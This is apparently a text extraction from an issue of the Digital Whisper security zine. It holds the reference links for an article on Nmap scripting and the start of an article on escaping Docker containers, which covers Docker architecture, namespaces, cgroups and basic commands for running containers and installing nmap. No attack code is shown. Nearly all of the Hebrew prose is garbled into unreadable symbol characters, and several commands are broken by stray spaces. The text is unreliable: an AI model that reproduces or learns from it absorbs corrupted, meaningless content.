Nmap Scripting Engine -  ˡˣ˵ˢ ˸˟˧˸˩ ˫˧ˬ˰˲˪ !˰˟˵˸ˢ˪ ˞˪ ˟ˣ˷˥ .˭ˬˤ ˡˣ˞ˬ ˢ˟˶ˢ ˣˮ˪ ˨ˣ˯˥˪ ˪ˣ˩˧

˪˧˰˧ ˶˸ˣ˧ ˭ˣ˶˸˲ ˢ˧ˢ˧ ˸˶˥˞ ˢ˲˷˟ .,ˣ˦˟˪˸˸ ˪˞ ˰ˡ˧ˬ ˶ˣ˵ˬ ˫˧˷˲˥ˬ ˫˸˞ ˫˞ ˪-Nmap  ˡˣ˰˧˸ ˷˧

:˭ˣ˧ˬˡ˪ ˫ˣ˵ˬ ˸ˣ˶˧˞˷ˬ ˪˷ ˡˣ˵ ˸ˣ˞ˬˠˣˡ ˫˰ ˦˲˧˶˵˯ˣ ˢ˧˶˲˯ ˪˩˪ ˢ˪ˣ˰ˬ 

https://nmap.org/nsedoc 

˪˷ ˫˧˦˲˧˶˵˯ˢ ˪˰ ˶ˣ˟˰˪ ˳˧˪ˬˬ ˶˸ˣ˧ ˧ˮ˞ ˧ˣˮ˲ˢ ˫˩ˮˬˤ˟ Paulino Calderon  ˪˰ ˶˲˯ ˟˸˩˷Nmap  ˸ˣˬ˩ˣ

:˞˷ˣˮ˟ ˫˧˦˲˧˶˵˯ ˪˷ ˸˪˦ˣ˟ˬ ˞˪ 

https://github.com/cldrn/nmap-nse-scripts 

 ˪˷ ˢ˞˴˶ˢˢ ˭˟ˣˬ˩ˣfyodor ˟-defcon 18: 

https://www.youtube.com/watch?v=M-Uq7YSfZ4I 

:˞˟ˢ ˶ˣ˷˧˵ˢˬ ˡ˧˶ˣˢ˪ ˭˸˧ˮ ˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˣ˟˸˩ˮ˷ ˫˧˦˲˧˶˵˯ˢ ˪˩ ˸˞ 

http://www.digitalwhisper.co.il/files/Zines/0x55/nmap_nse_scripts.zip 

https://support.microsoft.com/en-us/help/307257/description-of-the-status-insuff-server-resources-error-message
https://nmap.org/nsedoc
https://github.com/cldrn/nmap-nse-scripts
https://www.youtube.com/watch?v=M-Uq7YSfZ4I
http://www.digitalwhisper.co.il/files/Zines/0x55/nmap_nse_scripts.zip
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˸ˣˡˣ˸ 

" ˸ˣˣ˴ ˪˩˪ ˸ˣˡˣˢ˪ ˢ˴ˣ˶ ˧ˮ˞ ˫ˣ˧˯˪Digital Whisper ˸˞ ˞˶ˣ˵ ˧ˮ˞ .˫˧ˮ˷ˢ ˨˶ˣ˞˪ ˢ˟˶ˢ ˢ˰˵˷ˢˢ ˪˰ "

 ˭˧ˤˠˬˢ.˷˶ˣˡ ˢˤ ˭ˬˤˣ ˢ˰˵˷ˢ ˢˬ˩ ˧˸ˮ˟ˢ ˶ˬ˞ˬ ˟ˣ˸˩˪ ˧˸˟˷˧˷ ˵˶ˣ ,˭ˬˤ ˢ˟˶ˢ 

 

 

ˢ˞˧˶˵˪ ˸˲˯ˣˮ 
 

:˸ˣ˧˶˲˯ 

https://nmap.org/nsedoc/lib/nmap.html 

https://nmap.org/nsedoc/lib/shortport.html 

https://nmap.org/nsedoc/lib/stdnse.html 

https://nmap.org/nsedoc/lib/http.html 

:˫˧˶˲˯ 

https://www.amazon.com/Nmap-exploration-security-auditing-Cookbook/dp/1849517487 

https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717 

 

 

  

https://nmap.org/nsedoc/lib/nmap.html
https://nmap.org/nsedoc/lib/shortport.html
https://nmap.org/nsedoc/lib/stdnse.html
https://nmap.org/nsedoc/lib/http.html
https://www.amazon.com/Nmap-exploration-security-auditing-Cookbook/dp/1849517487
https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717
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Exiting the Docker Container 

˸˧ˤ ˶ˬˣ˸ˣ ˦ˮ˲˪˞ ˪˞ˠ˧ ˸˞ˬ 

ˢˬˡ˵ˢ 

 ˸ˮ˷˟2013 ˫˷˟ ˧˪˩ ˵ˣ˷˪ ˠ˴ˣˢ Docker  .˥ˣ˸˧˲ˢ ˸ˣˬ˪ˣ˰˟ ˧˸ˣ˰ˬ˷ˬˣ ˧ˤ˩˶ˬ ˧˪˩˪ ˡˣ˞ˬ ˶ˢˬ ˨˲ˢ ˤ˞ˬˣ 

Docker ˨˲ˢ  ˫˰ .˧ˡ˧ˬ ˦˰ˬ˩ ˭˲ˣ˞˟ ˢ˧ˠˣ˪ˣˮ˩˦ˢ ˸˞ ˣ˴ˬ˧˞ ˸ˣ˪˧˟ˣˬ ˸ˣ˶˟˥ˣ ˭ˣ˶ˡ˯ˬ ˸ˣ˥˧˷˟ ˧ˤ˩˶ˬ ˞˷ˣˮ˪

 ˶ˣ˴˧˧ˢ ˸ˣ˸˷˶˟ ˸ˣ˧ˢ˪ ˢ˥˦˟˞ ˸ˬ˶ˣ ˸ˣˮ˧ˬ˞ ,˸ˣ˟˧˴˧ˢ ˸ˮ˧˥˟ˬ ˪˷˟ ˭˩˞ ˧˪˩ˢ˷ ˶ˬˣ˞ ˢˤ ˫˞ˢ ,˸˞ˤ

˸ˣ˶˟˥ˢ ˪˷ ˸ˣ˪˧˰˲ˢ? 

 ˸ˣˡˣ˞ ˶˴˵ ˶˟˯ˢ˟ ˫˧ˡ˵ˮ ˣˮ˞ ˶ˬ˞ˬˢ ˪˷ ˭ˣ˷˞˶ˢ ˵˶˲˟Docker˥ˮˣˬ ˭ˣ˪˧ˬ ˢˮ˟ˮ ,˧˯˧˯˟ ˫˧ , ˢˣˣ˷ˮ ˱˞ˣ

˫ˣ˥˸˟ ˫˧ˬˣˡ ˸ˣˮˣ˶˸˲˪ ˣ˸ˣ˞. 

 ˫˧˵˶˲˟2-4 ˪ ˰ˠˣˮ˟ ˸ˣ˧˦˧˶˵ ˢ˥˦˟˞ ˸ˣ˷˪ˣ˥ ˪˴ˮ˪ ˫˧˩˶ˡ ˶˲˯ˬ ˠ˧˴ˮ-Docker ˸ˣ˶ˡˠˢ ˸ˣ˟˵˰˟ ˭˵˪˥ ,

 ˭ˢ˟ ˸˩˶˰ˬ ˧˟˧˩˶˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˷˪ˣ˥ ˸ˣ˟˵˰˟ ˭˵˪˥ˣ ˸ˣ˧ˣ˵˪ ˸˩˶˰ˬ Docker ˟˪ ˫˧˷˪ ˷˧ .˷ˣˬ˧˷ ˢ˷ˣ˰

˟ ˸ˣ˷˪ˣ˥˟ ˶˟ˣˡˬ ˞˪˷- Docker˥˟ ˞˪˞˟ ˷ˣˬ˧˷ˢ ˭˲ˣ˞ˬ ˸ˣ˰˟ˣˮˢ ˸ˣ˷˪ˣ- Docker ˸ˣ˰ˠˣˮˢ ˸ˣ˷˪ˣ˥ˣ

 ˪˰ ˸ˣ˰˧˲˷ˬˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪Docker. 

˟ ˷ˣˬ˧˷˪ ˰ˠˣˮ˟ ˸˧˷˧˞ˢ ˣ˸˰ˡ ˸˞ ˫˩˯ˮ ˭ˣ˶˥˞ˢ ˵˶˲˟- Docker ˪˰ ˫˷˧˧˪ ˟ˣ˷˥˷ ˸ˣ˴˪ˬˢ ˶˲˯ˬ ˭˩ˣ

 ˪˷ ˢ˥˦˟˞ˢ ˸ˬ˶ ˸˞ ˸˧˸ˣ˰ˬ˷ˬ ˶˲˷˪ ˸ˮˬDocker ˫˩˪˷ ˢ˟˧˟˯˟. 

 ˫˧˷ˬ˸˷ˬ ˣˮ˞ ˢˤ ˶ˬ˞ˬ ˸˟˧˸˩ ˸˰˟ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ CentOS 7.0.1406 ˢ ˶ˣ˟˰-Docker Host  :ˣˮ˪˷

ˢ ˸˯˶ˠ-Kernel  ˞˧ˢ3.10.0-123 ˢ ˸˯˶ˠˣ- Docker ˞˧ˢ1.12.6. 
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 ˭ˣ˷˞˶ ˵˶˲- ˫˧ˡ˵ˬ ˰ˡ˧ˬ 

 ˢˤ ˢˬ ,ˤ˞Docker? 

Docker ) ˸ˣˡ˶˲ˮ ˢˡˣ˟˰ ˸ˣˡ˧˥˧ ˨ˣ˸˟ ˫˧˪˰ˣ˲ˢ ˫˧ˬˣ˷˧˧ ˪˷ ˪ˣˢ˧ˮ˪ˣ ˶ˣ˴˧˪ ˡ˰ˣ˧ˬˢ ˧˪˩ ˞ˣˢContainers (

 ˭˩ˣ˸˟) ˫˧ˬˣ˷˧˧ˢ ˪˷ ˸ˣ˧ˣ˪˸ˢ ˸˞ ˫ˠ ˷˞˶ˬ ˯˧ˮ˩ˢ˪ ˭˸˧ˮDependiencies ˷ˬˬ ˢˤ ˫˧˟˶ ˶ˣ˟˰ ˡˣ˰˟ .(

.˨˷ˬˢ˟ ˶˧ˢ˟ˮ ˫˸ˣ˞ ,ˣˤ ˢ˟˧˟˯ ˭˧˟˪ ˢ˧˴˧˪˞ˣ˦˶˧ˣ ˭˧˟ ˫˧˧˸ˣ˰ˬ˷ˬ ˫˧˪ˡ˟ˢ ˫ˮ˷˧ ,ˢ˧˴˧˪˞ˣ˦˶˧ˣ ˣˬ˩ ˰ˬ˷ˮ  

 ˞˧ˢ ˸ˮ˸˧ˮ ˟ˣ˶˪˷ ˢ˟ˣ˷˸ˢ ˯˵ˣˮ˧˪ˢ ˧˷ˮ˞ ˶ˣ˟˰chroot on steroids, ˣˡˬ ˶˸ˣ˧ ˸˴˵˷ ˢ˟ˣ˷˸ ˫ˠ ˨˞ ˸˵˧

˧˪˩ˢ ˪˷ ˸ˣˢˬˢ ˸˞ ˭˧˦ˣ˪˥˪ ˢ˶˧˟˯ˬ ˞˪ ˞˧ˢ.  

 ˪˷ ˧˯˧˯˟ˢ ˫˧˥ˮˣˬˢ ˭ˣ˪˧ˬDocker :ˢ˲ ˠ˴ˣˬ 

 

Docker Host -  ˸˞ ˫˧˴˧˶ˬ ˣˮ˥ˮ˞ ˣ˧˪˰ ˧ˤ˩˶ˬˢ ˸˶˷ˢ ˣˢˤDocker: 

¶ Docker Daemon -  ˪˷ ˧ˤ˩˶ˬˢ ˸ˣ˶˧˷ˢDocker .˫˰ˣ˴˧˟˪ ˧˞˶˥˞ˣ ˸ˣˡˣ˵˲ ˸˪˟˵˪ ˭˧ˤ˞ˬ ˢˤ ˸ˣ˶˧˷ .

ˢ ˫˰ ˶˷˵˸˪ ˭˸˧ˮ- Daemon˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰-Docker Client ˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˣ˞-Rest API. 

¶ Docker Client  -ˢ ˢˮ˟ˬ- Docker ˸˶ˣ˴˸˟ ˣˮ˧ˢClient-Server . s- Docker Client ˪˞ ˸ˣˡˣ˵˲ ˥˪ˣ˷

-sDocker Daemon  ˢ ˨˯ˬ ˪˰ ˢ˪˟˵˸ˢ˷ ˦˪˲ˢ ˸˞˴ˣ˸ ˸˞ ˠ˧˴ˬˣHost. 

¶ Docker Image - ˣˢˬ˷ ˧ˣˮ˧˷˪ ˭˸˧ˮ ˞˪˷ ˰ˣ˟˵ ˳˟ˣ˵ ˪˷ "ˢˮˣˬ˸" ˢˣContainerˢ ˸˴˶ˢ .-Image  ˞˧ˢ

 ˪˷ ˢ˶˧˴˧ ˢ˷˰ˬ˪Containerˢ ˪˰ ˟ˣ˷˥˪ ˪˵ .- Image ˫˧˶˴ˣ˧ ˢˮˬˬ ˸˧ˮ˟˸ ˪˰˩Container.  

¶ Docker Container - ˢ .˧˷˰ˬ ˭˲ˣ˞˟ ˸˪˰ˣ˲ ˢ˧˴˵˧˪˲˞ˢ ˣ˟ ˶ˣˤ˞ˢ ˣˢˤ .ˢˮ˩ˣ˸ ˪˷ ˢ˴˶ˢˢ ˶ˣˤ˞-

Container  ˪ ˫˧˵˧˯˲ˬ ˣ˟ ˫˧˩˧˪ˢ˸ˢ ˶˷˞˩ ˸˧˦ˬˣ˦ˣ˞ ˶ˠ˯ˮ˳ˣ˶. 

¶ Docker Registry -  ˳˧˲ˬˣ ˭˯˥˞ˬˢ ˸˶˷Docker Imagesˮˬˬ ,˨ˣ˷ˬ˪ ˭˸˧ˮ ˣ Image ˶ˣ˴˧ˮ ˣˮˬˬ ˶˷˞ 

Containerˢ ˸˶˷ .- Registry ˞ˣˢ ˧˶ˣ˟˧˴ˢ Docker Hub ˪˷ ˪ˡ˥ˬˢ ˸˶˧˶˟ ˸˶˷˩ ˶ˡˠˣˬ ˞ˣˢˣ

Docker. 

 ˪˷ ˡˣ˯˧ˢ ˧ˮ˟˞Docker 



 
 

Exiting the Docker Container 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ85 , ˦˯ˣˠˣ˞2017  24 
 

˫ˮˬ˞ Docker ˠ˴ˣˢ ˟ ˢˮˣ˷˞˶˪-2013  ˞ˣˢ ˢ˷˰ˬ˪ ˨˞˞˪ ˠ˧˴ˢ ˞ ˵˶ ˞˪˞ ˪˪˩ ˢ˷ˡ˥ ˢ˧ˠˣ˪ˣˮ˩˦ ˷ˡ˥ˬ ˤ˶

˭ˢ ˣ˪˞ ˸ˣ˧ˠˣ˪ˣˮ˩˦ .˸ˣˬ˧˧˵ ˸ˣ˧ˠˣ˪ˣˮ˩˦: 

¶ Namespaces - ˟ ˢˮˣ˷˞˶˪ ˢˠ˴ˣˢ˷ ˢ˧ˠˣ˪ˣˮ˩˦-2002  ˫˧˧ˡ˰˪˟ ˫˧˩˶˰ ˫˰ ˸ˣ˟˧˟˯ ˶˴˧˧˪ ˸˶˷˲˞ˬˢ

ˢˮˣ˷ ˫˷ ˪˰˟ ˸ˣ˧ˢ˪ ˟˧˧˥ ˳˟ˣ˵ ˪˩ ˢ˟˷ ˟˷˥ˬ˟ ˢ˧˵˧˸ ˣˬ˩ ˢˤ ˸˧ˮˣ˧˰˶ ˢˮ˧˥˟ˬ .ˢ˟˧˟˯ ˢ˸ˣ˞ ˶ˣ˟˰. 

¶ Union File System - ˟ ˢˮˣ˷˞˶˪ ˢˠ˴ˣˢ˷ ˢ˧ˠˣ˪ˣˮ˩˦-1993  ,ˢ˪˷ ˸ˣ˟˩˶ˣˬˢ ˸ˣ˟˵˰˟ ˢ˷˦ˮˮ ˨˞

˪ ˢ˯ˮ˩ˣˢ ˣˤ ˢ˧ˠˣ˪ˣˮ˩˦ ˸ˣˬ˷˧˧ˬˢ ˸ˣ˞˯˶ˠˢ ˸˥˞ˣ ˨˧˷ˬˢ ˥ˣ˸˧˲ˢ ˫˧ˮ˷ ˶˲˯ˬ ˶˥˞˪-Linux Kernel 

 ˸ˮ˷˟2014ˬ ˸˞ ˵˶˲˪ ˸˶˷˲˞ˬ ˢ˧ˠˣ˪ˣˮ˩˦ˢ .ˣ ˸ˣˮˣ˷ ˸ˣ˟˩˷ ˶˲˯ˬ˪ ˫˧˴˟˵ˢ ˸˩˶˰ ˯˥˧˧˸ˢ˪

˞˩ ˸ˣ˟˩˷ ˶˲˯ˬ ˪˷ ˱ˣ˶˧˴˪ ˸ˣ˟˶ ˸ˣ˩˶˰ˬ ˭ˮ˷˧˷ ˞˧ˢ ˣˤ ˢ˧ˠˣ˪ˣˮ˩˦˟ ˸˪˰ˣ˸ˢ .ˢˡ˧˥˧ ˸˩˶˰ˬ ˪

 ˦ˣ˷˲ ˶˷˲˞ ˞˪˞ ˫˧˧ˬ˰˲ ˢ˟˩˷ ˢ˸ˣ˞ ˸˞ ˡ˧˶ˣˢ˪ ˨˶ˣ˴ ˭˧˞ ˨˩ˣ ˭˧˦ˣ˪˥˪ ˸ˣˢˤ ˸ˣ˟˩˷˟ ˸ˣ˷ˬ˸˷ˬ˷

.˸ˬ˧˧˵ ˶˟˩˷ ˢ˟˩˷ˢ ˨ˣ˸ˬ ˢ˸ˣ˞ ˪˲˩˷˪ 

¶ cgroups (Control Groups) - ˬ ˪˥ˢ ˢ˥˸ˣ˲˷ ˢ˧ˠˣ˪ˣˮ˩˦-2006 ˟ ˢ˟˪ˣ˷ˣ-Linux Kernel  ˶˟˩-˟

2008 ˫˧˟˞˷ˬ ˢˤ ˵˪˥˪ ˸ˣ˴˵ˢ˪ ˨˶ˣ˴ ˷˧ ,˧˞ˬ˴˰ ˭˲ˣ˞˟ ˪ˣ˰˲˪ ˟˷˥ˬˢˬ ˵˪˥˪ ˶˷˲˞˪ ˸ˮˬ ˪˰ .

 ˭ˣ˶˩˧ˤ ,ˡˣ˟˧˰ ˥ˣ˩ ˫˧˪˪ˣ˩ˢRam .˸ˡ˶˲ˮ ˸˷˶ ˸˟ˣ˸˩ ˭˩ˣ ˢ˟˧˸˩ˣ ˢ˞˧˶˵˪ ˥˧˷˵ˢ ˭ˮˣ˩˟ ˶ˣˤ˞ ,

˪˰ ˸ˣ˷˰ˮ ˣ˪˞ ˸ˣˡ˶˲ˢ- ˧ˡ˧cgroups. 

¶ Linux Containers (LXC) - ˟ ˠ˴ˣˢ-2008  ˳˧˶ˢ˪ ˶˷˲˞ˬ ,ˢˮˣ˷˞˶˪ ˭˲ˣ˞˟ ˫˧˪˧˟˵ˬ ˫˧˩˧˪ˢ˸ ˶˲˯ˬ

˟ ˷ˣˬ˧˷ ˢ˷ˣ˰ ,˨˩ ˨˶ˣ˴˪ .˧ˮ˷ˢˬ ˡ˥˞ ˭˧˦ˣ˪˥˪ ˡˡˣ˟ˬ-Namespaces  ˪˷ ˸ˣ˪ˣ˩˧˟ ˭˩ˣcgroups 

.˸˷˶˟ ˷ˣˬ˧˷ˣ ˥˧˷˵ˢ ˭ˮˣ˩ˢˬ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ,ˡˣ˟˧˰ ˥ˣ˩ ,˭ˣ˶˩˧ˤ ˸˞˴˵ˢ˪ 

ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣ˪ ˫˧˶ˮ˧˧˦ˮˣ˵ ˭˧˟ ˢ˶˴˵ ˢ˞ˣˣ˷ˢ 

 ˪˷ ˡˣ˯˧ˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˟ˣ˪˧˷˷ ˢ˞˶ˮ ,˪˧˰˪ ˟ˣ˸˩˪ ˨˷ˬˢ˟Docker  ,˭˩˪ ˞˵ˣˣˡ .ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣ˪ ˸ˣˬˣˡ ˷ˬˬ

:˞˷ˣˮ˟ ˫˧˪ˡ˟ˢˢ ˪˰ ˡˣˬ˰˪ ˟ˣ˷˥ 
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˟ ˸ˣˡ˶˲ˢˢ-Docker ˪˩ ,˭˧˧ˡ˰ ˨˞ ˪˧˰˪ ˸ˣ˶˩ˤˣˬˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˢ ˧ˡ˧ ˪˰ ˸ˣ˷˰ˮ Container -˟Docker 

 ˸˩˶˰ˬ ˸˟˧˪ ˫˰ ˸ˣ˶˧˷˧ ˶˷˵˸ˬ) ˢ˪˰˲ˢˢKernel (ˢ ˪˷-Docker Host . ˸˧˷˰ˮ ,ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣ˟

ˢ ˸˟˩˷ ˧ˡ˧ ˪˰ ˸˥˶˞ˬˢ ˸˩˶˰ˬˢ ˭˧˟ ˢ˟˥˶ ˶˸ˣ˧ ˢˡ˶˲ˢ-Hypervisor .˭ˢ ˶˟ˡˢ ˸ˣ˧ˣ˰ˬ˷ˬ: 

¶ Container ˪˷ Docker  ˭˲ˣ˞˟ ˢ˧˴˵˧˪˲˞ ˪˧˰˲ˢ˪ ˪ˣ˩˧ ˞˪˞ ˣˬ˴˰ ˧ˮ˲˟ ˢ˪˰˲ˢ ˸˩˶˰ˬ˪ ˵ˣ˵ˤ ˣˮ˧˞

˪˷ ˢˡ˶ˣˢˣ ˢ˞˪˰ˢ ˸ˣ˶˧ˢˬ ,ˢ˞˴ˣ˸˩ .˶˧˷˧ Container ˣ˥˲ ˞˧ˢ ˢ˞˪˰ˢˢ ˸ˣ˶˧ˢˬ ˡˣ˰˟ ˢ˧ˮ˷ˬ ˸

˸ˣ˧ˮ˷ ˶˲˯ˬ ˸ˣ˥˲ˢ ˪˩˪ ˞˧ˢ ˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ ˪˷ ˢˡ˶ˣˢˣ. 

¶ ˨ˣ˸˟ ˸˰˴˟˸ˬˢ ˸ˣ˪˧˰˲ˢ Container ˪ ˭˧˦ˣ˪˥˪ ˢ˧ˣ˪ˠ- Docker Host ˥˶˞ˬˢ ˸˶˷ˢ ˡˣ˰˟

˸˧˪˞ˣ˦˶˧ˣˣˢ ˸˩˶˰ˬˢ ˨ˣ˸˟ ˢ˶ˣ˵ ˢˬ ˸˰ˡ˪ ˪ˣ˩˧ ˞˪ ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣ˟. 

¶ ˟ ˸ˣ˪ˠ˸ˬˢ ˸ˣ˷˪ˣ˥ Kernel-˪˧˴ˮ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˪˰˨ˣ˸ˬ ˸ˣ Container , ˢ˪˷ ˸ˣ˶˧˟˯ˢ˷ ˢ˧˴˞ˣ˦˧˯

˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˩˶˰ˬ˟ ˶˸ˣ˧ ˢ˟˶ˢ ˢ˩ˣˬˮ. 

¶ ˢ ˪˷ ˫˧˟˞˷ˬˢ ˸˞˴˵ˢ ˸ˣ˪ˣ˩˧ ˭˧˟ ˫˧˪ˡ˟ˢ ˫ˠ ˫ˮ˷˧ ˧˩ ˭˧˧˴˪ ˟ˣ˷˥ ,˭˩ ˣˬ˩-Hypervisor 

 ˪˷ ˫˧˟˞˷ˬˢ ˸˞˴˵ˢ ˸˪ˣ˩˧ ˭˧˟˪ ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣ˟cgroupsˢ ˪˷ ˫˧˟˞˷ˬˢ ˸˞˴˵ˢ ˡˣ˰˟ .-

Hypervisor ˦˪˥ˣˬ ˶˸ˣ˧ ˞˧ˢ ˸˶˷ˢˬ ˫˧˶˯˥ˣˬ ˫ˢ ˧˪˞ˣ˦˶˧ˣ ˟˷˥ˬ˪ ˫˧˴˵ˣˬ ˣ˪˞ ˫˧˟˞˷ˬ ˶˷˞˩ˣ ˸

ˢ ˧ˡ˧ ˪˰ ˫˧˟˞˷ˬˢ ˸˞˴˵ˢ ,˥˶˞ˬˢ-cgroup ˢ ˸˷˧˶ˡ ˧˲ ˪˰ ˡ˟˪˟ "˱ˣˡ˰˸" ˢˮ˧ˢ ˡ˟˰ˬˢ ˫ˣ˥˸˟-

Containers˪ ˢ˴˵ˮ ˫˞ ,˪˰ˣ˲˟ .-Container1 10% ˪ˣ ˸˩˶˰ˬˢ ˪˷ ˡˣ˟˧˰ˢ ˥ˣ˩ˬ-Container2 20% 

˟ ˫ˠ ˷ˬ˸˷ˢ˪ ˣ˪˩ˣ˧ ˫ˢ˧ˮ˷ ,˸˩˶˰ˬˢ ˪˷ ˡˣ˟˧˰ˢ ˥ˣ˩ˬ-100%  ˡˣ˟˧˰ ˥ˣ˩˪ ˢ˷˧˶ˡ ˭˧˞ ˫˞ ˡ˟˰ˬˢˬ

ˢ ˭˧˟ ˰˟˵ˮ˷ ˯˥˧ˢ ,˟˷˥ˬˢˬ ˡˣ˟˧˰ ˥ˣ˩ ˫˧˷˶ˣˡ ˫ˢ˧ˮ˷ ˵˶ ˫˞ .˶˥˞ ˶ˣ˵ˬˬ-Containers  ˨˩ ˶ˬ˷˧˧

-˷Container1  ˪˰ˣ˲˟ ˷ˬ˸˷˧-˟33% ˣ ˡˣ˟˧˰ˢ ˥ˣ˩ˬ-Container2 ˟ ˷ˬ˸˷˧66%-. 

 

) ˸˧ˮˣ˷˞˶ ˸ˣ˯ˮ˸ˢhello-world( 

 ˢ ˸ˮ˵˸ˢDocker  ˸ˡˣ˵˲ ˧ˡ˧ ˪˰ ˦ˣ˷˲ ˭˲ˣ˞˟ ˸˰˴˟˸ˬyum install: 

yum install docker  

 

ˢ ˸ˮ˵˸ˢ˷ ˶˥˞˪-Docker  ˸ˡˣ˵˲ ˳˧˶ˢ˪ ˭˸˧ˮ ˸ˬ˧˧˸˯ˬDocker  ˢˮ˵˸ˢˢ˷ ˞ˡˣˣ˪ ˸ˮˬ ˪˰ ˢˮˣ˷˞˶

:ˢ˥˪˴ˢ˟ ˢˬ˧˧˸˯ˢ 

docker run hello - world  
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:ˢˡˣ˵˲ˢ ˸˞˴ˣ˸ ˭˪ˢ˪ 

 

 ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ˢ ˭ˣ˷˞˶ ˟˪˷˟ ,ˢˮˣˬ˸˟-Docker Daemon ˢ ˸˞ ˞˴ˬ ˞˪-Image  ˪˰-sDocker Host 

˪ ˷ˠ˧ˮ ˭˩˪ˣ-Docker Registry  ˪ˡ˥ˬ ˸˶˧˶˟˟ ˞ˣˢ˷Docker Hubˢ ˸˞ ˣˮˬˬ ˡ˧˶ˣˢ ,-Image  ˫˷˟hello-

world ˢ ˸˞ ˶˴˧ ˣ˩ˣ˸ˬˣ-Container  ˨˶ˣ˞˪ ˫˧˪˰ˣ˲˷ ˫˧˩˧˪ˢ˸ ˢ˲ ˭˧˞˷ ˭ˣˣ˧˩ .ˠ˴ˣˬˢ ˦˪˲ˢ ˸˞ ˣˮ˪ ˥˪˷˷

 ,˭ˬˤ-sContainer .ˢ˰ˡˣˢˢ ˸ˠ˴ˢ ˫ˣ˸˟ ˡ˧ˬ ˶ˠ˯ˮ 

 

 ˧ˮ˷ ˵˶˲-  ˢˬ ˢ˥˧˶˟Container  ˸ˣ˶ˡˠˢ ˸ˣ˟˵˰˟Daemon ˸ˣ˧ˣ˵˪ 

 ˶˴ˣˬ ˪˷ ˯˧˯˟ˢ ˸ˣ˶ˡˠˢ ˧ˣˮ˧˷ˬ ˸ˣ˰˟ˣˮ ˸ˣ˧ˣ˵˪ ˸ˣ˶ˡˠˢ˷ ˨˩˪ ˣˮ˪ˠ˶˸ˢ˷ ˭ˣˣ˧˩ ˢ˰˦ˬ ˢ˴˵ ˵˶˲ˢ ˫˷

 ˣˢ˷˪˩ ˧ˣˮ˧˷ ˫˧˰˴˟ˬ ˞˪ ˣˮ˥ˮ˞ ˢˤ ˵˶˲˟ ,˸˞ˤ ˫˰ .˶˸ˣ˧ ˸ˣ˧ˮ˶˧˸ˬ ˸ˣ˶ˡˠˢ˪ ˪ˡ˥ˬˢ ˸˶˧˶˟ ˸ˣ˶ˡˠˢ˟

ˢ ˰˧ˠˢ ˫˸˧˞-Docker. 

˟ ˢˡ˶˲ˢˢ ˪˷ ˸ˣˮˣ˶˵˰ˢ ˡ˥˞ Docker-˪˩˪˷ ˞˧ˢ Container ˷˧  ˸˶˧˶˟ ˸ˣ˶ˡˠˢ ,˸˞ˤ ˸ˣ˶ˬ˪ .ˣ˪˷ˬ ˶ˣˤ˞

˪˷ ˪ˡ˥ˬˢ Docker ˸ˣ˟ˣ˸˩ ˸ˣ˵˪˥ˬ IP ˸ˣ˞ ˨ˣ˸˟ ˣSubdomain ,172.17.0.0/16. 

ˢ ˸˞ ˢˮ˟ˮ ,ˢˤ ˟˪˷ ˨˶ˣ˴˪-Docker container  ˨ˣ˸ˬ ˣˮ˪˷Image  ˪˷nginx:latestˢ ˪˷ ˢ˴˶ˢˢ ˧˶˥˞ .-

nginx  ˸˧˦˧˶˵ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˥˧˪˴ˢ˷ ˱˵ˣ˸ ˸ˣˬˡ˪ ˪ˣ˩˧˷ ˶˟ˡ ,ˢˮˣ˩ˬˢ ˪˞ ˢˡˣ˵˲ ˸˶ˣ˷ ˪˟˵˪ ˫˧˴ˣ˶ ˣˮ˞

ˢ ˪˞ ˢ˷˧ˠ ˣ˪ ˷˧ ˢ˸˰ˣ ˸˩˶˰ˬ˟-Shell  .˸˩˶˰ˬˢ ˪˷ 

:ˣ˪˪ˢ ˸ˣ˪ˣ˰˲ˢ ˶ˣ˟˰ ˣˮ˴˶ˢ˷ ˸ˣˡˣ˵˲ˢ ˭˪ˢ˪ 
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docker run -- detach -- name nginx1 -- hostname ng inx1 nginx  

docker exec - it nginx1 /bin/bash  

 

 

˷ˬ˸˷ˬ˪ ˫˧˶˟ˣ˥ˬ ˣˮ˞˷ ˞˧ˢ ˢˡˣ˵˲ˢ ˸˶ˣ˷ ˧˲ ˪˰ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ root. 

 ˭ˣˠ˩ ˫˧˪˩ ˶˲˯ˬ ˡˣ˰ ˭˧˵˸ˢ˪ ˪˩ˣˮ ,ˣˮ˟˧˟˯ ˢ˶ˣ˵ ˢˬ ˭˧˟ˢ˪ ˸ˣ˯ˮ˪ ˸ˮˬ ˪˰ ,ˢ˸˰gnome-nettool  ˱˞ˣ

nmap  ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ .ˣˮ˟˧˟˯ ˸˷˶ˢ ˪˷ ˸ˣ˵˧˶˯ ˰ˣ˴˧˟˪-˟nginx ˪˰ˣ˲˷  ˨ˣ˸˟container ˸˞ ˥˶˩ˢ˟ ˭˧˞ ,

:˭ˣ˩ˡ˰ ˰ˣ˴˧˟˟ ˪˧˥˸ˢ˪ ˨˧˶˴ ˭˩˪ˣ ˫˧ˮ˩ˡˣ˰ˬˢ ˸˩˶˰ˬˢ ˧˴˟˵ ˪˩ 

apt - get update  

apt - get install gnome - nettool && apt - get install nmap  

 

